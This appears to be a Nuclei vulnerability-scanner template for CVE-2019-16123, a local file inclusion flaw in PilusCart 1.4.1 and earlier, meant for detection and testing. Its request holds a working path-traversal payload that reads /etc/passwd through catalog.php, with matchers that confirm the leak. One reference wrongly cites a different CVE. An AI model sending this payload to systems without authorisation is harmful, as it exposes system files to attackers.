id: CVE-2019-16123

info:
  name: PilusCart <=1.4.1 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    PilusCart versions 1.4.1 and prior suffer from a file disclosure vulnerability via local file inclusion.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and remote code execution.
  remediation: |
    Upgrade to a patched version of PilusCart (>=1.4.2) or apply the vendor-supplied patch to mitigate the LFI vulnerability.
  reference:
    - https://packetstormsecurity.com/files/154250/PilusCart-1.4.1-Local-File-Disclosure.html
    - https://www.exploit-db.com/exploits/47315
    - https://nvd.nist.gov/vuln/detail/CVE-2019-1653
    - https://zerodays.lol/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-16123
    cwe-id: CWE-22
    epss-score: 0.67812
    epss-percentile: 0.97877
    cpe: cpe:2.3:a:kartatopia:piluscart:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: kartatopia
    product: piluscart
  tags: cve,cve2019,piluscart,lfi,packetstorm,edb,kartatopia

http:
  - method: GET
    path:
      - "{{BaseURL}}/catalog.php?filename=../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100bcd16c5cd1b9aa38115f2fea1b083fc388959c3057cea019f3afff19cd21bb6502205715404772259d1e5a01cad7e527c0caecb93aab4d4c5d0d2158fc425c7a8cb3:922c64590222798bb761d5b6d8e72950